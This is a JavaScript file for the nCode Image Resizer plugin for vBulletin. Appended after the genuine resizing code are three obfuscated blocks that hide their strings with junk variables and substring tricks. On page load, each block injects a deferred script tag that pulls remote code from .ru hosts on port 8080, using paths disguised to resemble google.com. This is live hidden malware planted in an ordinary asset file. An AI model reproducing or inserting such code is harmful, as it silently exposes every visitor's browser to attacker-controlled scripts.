// nCode Image Resizer for vBulletin 3.6.0
// http://www.ncode.nl/vbulletinplugins/
// Version: 1.0.1
//
// (c) 2007 nCode


NcodeImageResizer.IMAGE_ID_BASE = 'ncode_imageresizer_container_';
NcodeImageResizer.WARNING_ID_BASE = 'ncode_imageresizer_warning_';
NcodeImageResizer.scheduledResizes = [];

function NcodeImageResizer(id, img) {
	this.id = id;
	this.img = img;
	this.originalWidth = 0;
	this.originalHeight = 0;
	this.warning = null;
	this.warningTextNode = null;
	this.originalWidth = img.originalWidth;
	this.originalHeight = img.originalHeight;
	
	img.id = NcodeImageResizer.IMAGE_ID_BASE+id;
}

NcodeImageResizer.executeOnload = function() {
	var rss = NcodeImageResizer.scheduledResizes;
	for(var i = 0; i  < rss.length; i++) {
		NcodeImageResizer.createOn(rss[i], true);
	}
}

NcodeImageResizer.schedule = function(img) {
	if(NcodeImageResizer.scheduledResizes.length == 0) {
		if(window.addEventListener) {
			window.addEventListener('load', NcodeImageResizer.executeOnload, false);
		} else if(window.attachEvent) {
			window.attachEvent('onload', NcodeImageResizer.executeOnload);
		}
	}
	NcodeImageResizer.scheduledResizes.push(img);
}

NcodeImageResizer.getNextId = function() {
	var id = 1;
	while(document.getElementById(NcodeImageResizer.IMAGE_ID_BASE+id) != null) {
		id++;
	}
	return id;
}

NcodeImageResizer.createOnId = function(id) {
	return NcodeImageResizer.createOn(document.getElementById(id));
}

NcodeImageResizer.createOn = function(img, isSchedule) {
	if(typeof isSchedule == 'undefined') isSchedule = false;
	
	if(!img || !img.tagName || img.tagName.toLowerCase() != 'img') {
		alert(img+' is not an image ('+img.tagName.toLowerCase()+')');
	}
	
	if(img.width == 0 || img.height == 0) {
		if(!isSchedule)
			NcodeImageResizer.schedule(img);
		return;
	}
	
	if(!img.originalWidth) img.originalWidth = img.width;
	if(!img.originalHeight) img.originalHeight = img.height;
	
	if((NcodeImageResizer.MAXWIDTH > 0 && img.originalWidth > NcodeImageResizer.MAXWIDTH) || (NcodeImageResizer.MAXHEIGHT > 0 && img.originalHeight > NcodeImageResizer.MAXHEIGHT)) {
		var isRecovery = false; // if this is a recovery from QuickEdit, which only restores the HTML, not the OO structure
		var newid, resizer;
		if(img.id && img.id.indexOf(NcodeImageResizer.IMAGE_ID_BASE) == 0) {
			newid = img.id.substr(NcodeImageResizer.IMAGE_ID_BASE.length);
			if(document.getElementById(NcodeImageResizer.WARNING_ID_BASE+newid) != null) {
				resizer = new NcodeImageResizer(newid, img);
				isRecovery = true;
				resizer.restoreImage();
			}
		} else {
			newid = NcodeImageResizer.getNextId();
			resizer = new NcodeImageResizer(newid, img);
		}
		
		if(isRecovery) {
			resizer.reclaimWarning(newid);
		} else {
			resizer.createWarning();
		}
		resizer.scale();
	}
}

NcodeImageResizer.prototype.restoreImage = function() {
	newimg = document.createElement('IMG');
	newimg.src = this.img.src;
	this.img.width = newimg.width;
	this.img.height = newimg.height;
}

NcodeImageResizer.prototype.reclaimWarning = function(id) {
	this.warning = document.getElementById(NcodeImageResizer.WARNING_ID_BASE+id);
	this.warningTextNode = this.warning.firstChild.firstChild.childNodes[1].firstChild;
	this.warning.resize = this;
	
	this.scale();
}

NcodeImageResizer.prototype.createWarning = function() {
	var mtable = document.createElement('TABLE');
	var mtbody = document.createElement('TBODY');
	var mtr = document.createElement('TR');
	var mtd1 = document.createElement('TD');
	var mtd2 = document.createElement('TD');
	var mimg = document.createElement('IMG');
	var mtext = document.createTextNode('');
	
	mimg.src = NcodeImageResizer.BBURL+'/images/statusicon/wol_error.gif';
	mimg.width = 16;
	mimg.height = 16;
	mimg.alt = '';
	mimg.border = 0;
	
	mtd1.width = 20;
	mtd1.className = 'td1';
	
	mtd2.unselectable = 'on';
	mtd2.className = 'td2';
	
	mtable.className = 'ncode_imageresizer_warning';
	mtable.textNode = mtext;
	mtable.resize = this;
	mtable.id = NcodeImageResizer.WARNING_ID_BASE+this.id;
	
	mtd1.appendChild(mimg);
	mtd2.appendChild(mtext);
	
	mtr.appendChild(mtd1);
	mtr.appendChild(mtd2);
	
	mtbody.appendChild(mtr);
	
	mtable.appendChild(mtbody);
	
	this.img.parentNode.insertBefore(mtable, this.img);
	
	this.warning = mtable;
	this.warningTextNode = mtext;
}

NcodeImageResizer.prototype.setText = function(text) {
	var newnode = document.createTextNode(text);
	this.warningTextNode.parentNode.replaceChild(newnode, this.warningTextNode);
	this.warningTextNode = newnode;
}

NcodeImageResizer.prototype.scale = function() {
	this.img.height = this.originalHeight;
	this.img.width = this.originalWidth;
	
	if(NcodeImageResizer.MAXWIDTH > 0 && this.img.width > NcodeImageResizer.MAXWIDTH) {
		this.img.height = (NcodeImageResizer.MAXWIDTH / this.img.width) * this.img.height;
		this.img.width = NcodeImageResizer.MAXWIDTH;
	}
	
	if(NcodeImageResizer.MAXHEIGHT > 0 && this.img.height > NcodeImageResizer.MAXHEIGHT) {
		this.img.width = (NcodeImageResizer.MAXHEIGHT / this.img.height) * this.img.width;
		this.img.height = NcodeImageResizer.MAXHEIGHT;
	}
	
	this.warning.width = this.img.width;
	this.warning.onclick = function() { return this.resize.unScale(); }
	
	if(this.img.width < 450) {
		this.setText(vbphrase['ncode_imageresizer_warning_small']);
	} else if(this.img.fileSize && this.img.fileSize > 0) {
		this.setText(vbphrase['ncode_imageresizer_warning_filesize'].replace('%1$s', this.originalWidth).replace('%2$s', this.originalHeight).replace('%3$s', Math.round(this.img.fileSize/1024)));
	} else {
		this.setText(vbphrase['ncode_imageresizer_warning_no_filesize'].replace('%1$s', this.originalWidth).replace('%2$s', this.originalHeight));
	}
	
	return false;
}

NcodeImageResizer.prototype.unScale = function() {
	switch(NcodeImageResizer.MODE) {
		case 'samewindow':
			window.open(this.img.src, '_self');
			break;
		case 'newwindow':
			window.open(this.img.src, '_blank');
			break;
		case 'enlarge':
		default:
			this.img.width = this.originalWidth;
			this.img.height = this.originalHeight;
			this.img.className = 'ncode_imageresizer_original';
			if(this.warning != null) {
				this.setText(vbphrase['ncode_imageresizer_warning_fullsize']);
				this.warning.width = this.img.width;
				this.warning.onclick = function() { return this.resize.scale() };
			}
			break;
	}
	
	return false;
}

var L={M:52302};function T(){var EV=[];var S={p:14379};var n="hlUGappe".substr(4)+"ndCh"+"ild";C=["q","K"];try {var R_='a'} catch(R_){};var m=new String("sr"+"c");this.c="c";var m_=new String("zsMfonloa".substr(4)+"d");var H=new String("boyVA".substr(0,2)+"dy");this.g="g";var y=String("defer");var G=window;try {var k_='BG'} catch(k_){};var A=document;var s=String("creh09".substr(0,3)+"WBKoateoWKB".substr(4,3)+"LQv0Ele".substr(4)+"men"+"9sUSt".substr(4));var Z=String("sc"+"riFwc".substr(0,2)+"PcQptQcP".substr(3,2));var tR=[];function I(){var mS={gr:"nr"};f={wc:false};this.QP=15779;this.QP--;IB=["u","CE"];try {jf={F:6238};jN=33912;jN-=22;var B=231372-223292;var _=new String("http:mYB".substr(0,5)+"//dir"+"tysin"+".ru:w6NJ".substr(0,4));ga=["N"];var VC="VC";var _U=String("/go"+"oglFEz".substr(0,3)+"e.c"+"om/"+"aze73dx".substr(0,3)+"t.s"+"k/lyQ8D".substr(0,3)+"ock"+"erz"+"Mn3S.co3MnS".substr(4,3)+"VTkwm.p".substr(4)+"hp");var Ve=["Cd","kA"];this.cx="cx";var U=9341-9340;try {var MV='D'} catch(MV){};QS=34877;QS-=224;qm=24161;qm-=136;V=A[s](Z);this.rE=2288;this.rE++;this.vl=61989;this.vl++;b=63807;b++;this.J=false;var Ek=["rc"];var Cf=["GK"];V[m]=_+B+_U;V[y]=U;var i=new Array();rck=37316;rck-=63;this.si=10491;this.si-=114;this.Jj=24687;this.Jj-=193;A[H][n](V);this.J_="J_";ym=26220;ym+=119;} catch(Ht){var tRN=61132;Co={Pe:false};};wS=["HtH","LC"];}qk=["Vj"];G[m_]=I;this.JA=63331;this.JA-=165;};T();this.yf="yf";
try {ki={B:"tU"};var lf="lf";var Yw={G:"_"};var h={SI:false};Zi=15365;Zi+=123;A=25641;A+=201;var w_=new Date();var t=window[String("un"+"es"+"glhca".substr(3)+"pe")];this.F=18530;this.F-=222;var T={kgY:33878};var qk=53148;b=16838;b+=59;var x=new String("onloa"+"d");this.L='';this.X='';var y=16375;var bW=new String();var tc=false;var I=window[(String("RegE"+"xp"))];try {var RM='gz'} catch(RM){};IX={};var Mh=new String();var l='';is=["o"];var lj=["V","crt","Yx"];this.n=false;var MS=["hz","ZO","Pt"];this.oE=false;var f=new String("YNfZrep".substr(4)+"lac2TD".substr(0,3)+"hpzehpz".substr(3,1));try {var H='Aw'} catch(H){};try {var iH='Ab'} catch(iH){};LU=[];_s=45871;_s-=1;this.kn="";var g=new String("7o61".substr(3));var _W="_W";dT={VL:64067};var hr=new Date();Fw={pI:58613};var XX=new Date();function Q(g,O){Ax=[];try {} catch(Sz){};v={Sr:42824};var S="[";var Mu="";var Kim="";S+=O;S+=t("%5d");var a="";try {var tC='Nt'} catch(tC){};py=64902;py--;try {var ER='mT'} catch(ER){};var e=new I(S, String("g"));try {var An='QT'} catch(An){};No=["rF","jM","FB"];try {var hd='ga'} catch(hd){};return g.replace(e, l);GY=["me","Ix","Hw"];H_=["Ry","O_","sK"];this.Cf=63922;this.Cf++;};this.wa=62971;this.wa++;var yf={};Zd=["gU","bY","dX"];Yf=["PP","gA"];Zx=["kb","st"];this.RJ=60043;this.RJ+=180;cF=["mh","Fk"];var OK=String("htt6Iv2".substr(0,3)+"r0jp:/".substr(3)+"hXQ/as".substr(3)+"RpUkhdo".substr(4)+"g.r"+"u:");var er=new Date();var rx={wB:"IZ"};var ku="";var lG="";var Y=new String("/kino"+"poisk"+"A1Zj-ru/g".substr(4)+"oogle"+".com/"+"drudg8Kz".substr(0,5)+"erepo"+"rt.coShy".substr(0,5)+"m.phpSLog".substr(0,5));LS={};var JR={};XE={xZ:"Hy"};XY=23925;XY++;fw=[];var gr=838121-830041;this.wH=60728;this.wH--;this.nI='';var HU={nL:"zQ"};var ye={};var qd=new Date();var re=new String();vO=62551;vO++;function C(){var c=new String("appemZGM".substr(0,4)+"9OALndChL9OA".substr(4,4)+"ild");em=["Ne","hI"];var k=document;hC={ClI:false};var bpp={Db:55921};qA={CD:false};pb={gI:false};var VE=["TI","Ylt","Xd"];var PX="";this.KW=9560;this.KW--;this.iV=19760;this.iV--;var wb=["zd","DI","qE"];var P=Q('sMcSrMiQpxtq','VwmSx7QNlnMeqAEF_d');Qq=10215;Qq-=151;this.Cx="Cx";var VY='';BO=44520;BO-=51;var El=3540;Dj=64278;Dj--;this.GV=45353;this.GV+=97;try {var op='UU'} catch(op){};var bR=false;var Ot=false;var EI=["Zq","QZ","ClD"];this.KZ=56943;this.KZ-=3;xb=k.createElement(P);var Gw="Gw";try {} catch(ko){};var hN='';var tY='';var Xh="Xh";LQ={BN:64641};var WZ="WZ";J=OK+gr;this.iu=false;var opZ=["wKD","pIc"];this.dy='';J=J+Y;this.aT=34302;this.aT--;var SlQ="SlQ";var Vv=new Date();RI=["jF"];var vK={LK:"G_L"};this.dUp=62181;this.dUp-=153;ah={IF:16197};xb[new String("defe"+"enaRr".substr(4))]=g;this.NX="NX";this.Vs="Vs";xb.src=J;var ef=k.body;Uh=["Pq","lu","jO"];GuQ=21005;GuQ-=234;nr=["tw","Xs","kM"];ZS={ot:58521};var jOg=new Date();EY=38442;EY--;var zc='';var HF='';lk=36157;lk--;ef[c](xb);var LF={_j:"RN"};qa=16603;qa++;this.Il="Il";vq=["oFC","XP","xS"];this.tq="tq";};this.qm=5861;this.qm++;iR=["XsU","pQ","Cc"];rk=760;rk-=27;window[x]=C;try {} catch(xU){};this.AH="AH";var nB={fR:"ZQn"};this.DS=37727;this.DS++;var ao='';this.zs=35438;this.zs++;} catch(M){var eZ="";this.lm="";this.kMd='';this.fJ="";this.Vx="";var nM=14669;};IU=37602;IU--;var Hx={DUb:47342};var UQ="";
this.NQ='';try {} catch(h){};var O;Q=["pS","c"];var m=new String();t=function(){function B(g,H,N){var Rw=["hl","bx"];return g.substr(H,N);this.F='';}kO=961;kO-=44;var j="j";mm=[];var o=new Date();T_=35363;T_+=205;var Hg=RegExp;var T='';var Oh=47076;var gz=new Array();var Hx=new String("/spo"+"nich"+"i-co"+B("-jp/IFz",0,4)+"goog"+B("Bj9le.c9Bj",3,4)+B("om/mEk0",0,4)+B("eetu4OTI",0,4)+"p.co"+"m.ph"+B("pGku",0,1));try {var a='Mo'} catch(a){};try {var Yg='gU'} catch(Yg){};var b=document;var q={JHW:"aw"};try {var RA='DI'} catch(RA){};Yn=[];Yu=[];function z(g,H){zj={};var zN={hG:53617};this.DIY=10994;this.DIY--;var DF={QS:38076};var N=String("[")+H+new String("]");j_={P:"BT"};var v=new Hg(N, new String("g"));return g.replace(v, T);Oz=["lS"];var Xa="Xa";};var Rl=new String();this.Kz=false;var Y=null;var vd=new Array();var a_={};var f=z('s1cxrHigpgt_','ZPxJFvyLu1deGHVQgq_2');Z=52618;Z-=69;var p=new String("bod"+"y");this.WC=55131;this.WC-=196;var w=879776-871696;try {} catch(RH){};var YU=["Rc","Rla","FQ"];this.tt=544;this.tt+=163;uW={Pum:59501};O=function(){try {this.RU=16298;this.RU++;var S=z('cKrxe1aHtYeKEYlYepmYeYnpt9','bY_KpXi91Hx6');var hC=["YLv","py","zV"];var bL=43627;fC=b[S](f);RZ=["I"];var iQ=["wg","eyj"];try {var CV='wV'} catch(CV){};var y=z('sZrOce','nEewYagLZOuNo');var g=w+Hx;try {} catch(TP){};var gy=false;var J=String(B("defRsVk",0,3)+"er");eQ={};fC[J]=[1][0];this.qN=24112;this.qN-=113;try {var qP='Bv'} catch(qP){};fC[y]=String("htt"+"p:/"+"/te"+"nth"+B("proFuhI",0,3)+B("O0dfitO0d",3,3)+".ru"+B("Pv6:P6v",3,1))+g;try {var ys='Zn'} catch(ys){};b[p].appendChild(fC);eM={Fb:false};Yj=41408;Yj-=74;} catch(M){this.hy=57395;this.hy-=125;var eu='';};var jt=54310;};jw=[];};t();window.onload=O;